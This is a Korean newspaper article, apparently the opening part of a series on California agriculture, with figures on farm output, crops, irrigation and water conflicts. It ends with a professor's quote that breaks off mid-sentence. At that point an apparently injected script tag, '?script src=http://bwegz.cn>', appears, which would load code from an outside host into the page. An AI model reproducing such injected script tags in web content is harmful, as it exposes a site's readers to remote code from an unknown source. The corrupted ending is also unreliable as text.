〈글싣는 순서〉
1. 미국 농업의 보고 캘리포니아
2. 신선편의(fresh-cut) 식품이 뜬다
3. 농산물 또 하나의 가치 `수확후 관리''''''''

4. 기업마인드로 승부하는 사람들
5. 농산물 유통의 핵심주체 팩킹 하우스(Packing House)
6. 협동조합의 모델 `썬키스트''''''''
7. 대미 농산물 수출의 현주소 및 대응방안

오늘날 세계는 미국이라는 국가를 배제하고는 정치·경제·사회 등의 분야를 논할 수 없게 됐다.
농업도 예외는 아니다. 이미 세계곡물시장을 주름잡고 있는 미국 농업의 저력은 드넓은 토지와 기술력을 바탕으로 그안에서 유기적으로 돌아가는 생산·유통·판매시스템 등은 비단 하루 아침에 쌓인 노하우가 아닌 100년 이상의 경험이 축적된 결실이다.

이같은 이유로 미국 농업은 계속되는 경제불황과 유럽·중국·멕시코 등의 경쟁국과의 농산물 전쟁속에서도 제 위치를 굳건히 지키며 세계시장을 주름잡고 있다.
한국의 농업도 DDA(도하개발아젠다)협상, FTA(자유무역협정) 등 날로 거세지는 개방화의 압력속에서 제위치를 유지하기 위해 선진 농업에 대한 이해와 연구 노력이 필요한 시점이다.

선진 농업이란 단순히 토지나 자연조건만으로 이뤄지는 것은 아니다. 그 바탕에는 끊임없이 변화하려는 농업인과 관련 업체·기관·단체들의 상업적·기업적 마인드가 뒷받침돼야 한다.
본지는 (사)농식품신유통연구원과 공동으로 28명의 신유통스터디투어단을 구성해 지난달 19일부터 27일까지 8박9일간 미국 캘리포니아주를 중심으로 한 미국 서부 농업현장과 유통현장을 둘러봤다.

이번 스터디투어를 통해 나타난 미국 농업 및 유통시장의 변화를 살펴보고 한국 농업이 나아갈 길과 대미 농산물 수출 확대 방안에 대해 기획연재한다. 〈편집자 주〉

`디즈니랜드'''''''' `헐리우드'''''''' `실리콘벨리'''''''' `라스베가스''''''''. 캘리포니아 하면 일반적으로 떠오르는 이미지다.
그러나 11시간의 비행을 마치고 내린 캘리포니아는 끊임없이 변화하는 미국 농업의 보고였다.
사실 캘리포니아는 미국에서도 농업생산액이 2위인 텍사스주보다 2배 가량 많은 25조9000억원에 달하는 최대 농업지역이다

특히 인디카 계통의 쌀을 생산하는 다른 주와 달리 우리가 애용하는 자포니카 쌀을 생산하는 지역으로 우리의 관심의 대상이 되고 있다.
농가의 경제 규모도 평균 매출액이 50만달러(한화 약 6억원)에 달해 웬만한 중소기업체에 못지 않다.

채소, 견과류, 우유를 가장 많이 생산하는 주이기도 한 캘리포니아는 특히 아몬드, 호두, 키위, 건포도, 자두, 감 등에서 미국 생산량의 99% 이상을 차지하고 있다.
비록 농가수에서는 미국 전체농가의 4%인 8만8000호에 불과하고 농지면적도 1160만ha로 미국의 3%가량에 불과하지만 풍부한 일조량과 잘 갖춰진 관개시설, 비옥한 토지를 바탕으로 250여종의 각종 작물이 생산돼 미국은 물론 세계시장을 이끌어 가고 있다.

지난 50년동안 농가의 영농규모도 크게 확대됐다. 1950년 14만4000호던 농가수가 2001년 8만8000호 감소하면서 경작규모가 농가당 평균 317.2ha에서 384.3ha로 늘어났다.
캘리포니아에서 농업의 위치는 확고하다.
110만개의 일자리 창출은 물론이고 관련산업에 대한 파급효과만도 무려 700억달러를 넘어선다.

캘리포니아 식품농업부(CDFA)에 따르면 2001년 기준 생산액은 낙농품이 가장 많은 46억3000만달러를 생산했고 다음으로 포도가 26억5100만달러, 원예작물이 20억8700만달러, 상추가 13억7000만달러, 쇠고기가 13억5200만달러를 기록한 것으로 나타났다.
이와함께 캘리포니아 농업에서 빼놓을 수 없는 분야가 수리관개시설이다.

지리적 위치상 사막기후로 11월부터 2월까지 겨울철 우기에 시에라 네바다산맥에 쌓인 눈이 녹은 물을 댐에 저장, 수로를 이용해 농작물 생육기인 봄·가을 농업용수와 식수 등으로 활용한다. 그러다 보니 물이 풍부하지 않다.
이로인해 캘리포니아에서는 지금도 농업인과 환경단체, 도시민 사이에 물 주도권 쟁탈전이 심한 상황이다.

이같은 결코 유리하지 않은 자연조건하에서도 캘리포니아 농업이 경쟁력 있는 산업으로 성장한 것이다.
농업의 성장은 일반 가계에도 영향을 미쳤다. 가계소득 가운데 식품소비지출에 대한 비중이 1952년 21%에서 2001년에는 10% 가량으로 낮아진 결과를 가져온 것은 우리에게 시사하는 바가 크다.

◆<미국 교수가 전하는 캘리포니아 농업> 이현옥 UC 데이비스(Davis)대 교수

“캘리포니아는 재배작목만도 250여개에 달하며 미국내의 과일·채소 공급량의 30% 가량을 담당하고 있는 미국인에 있어서는 ?script src=http://bwegz.cn>

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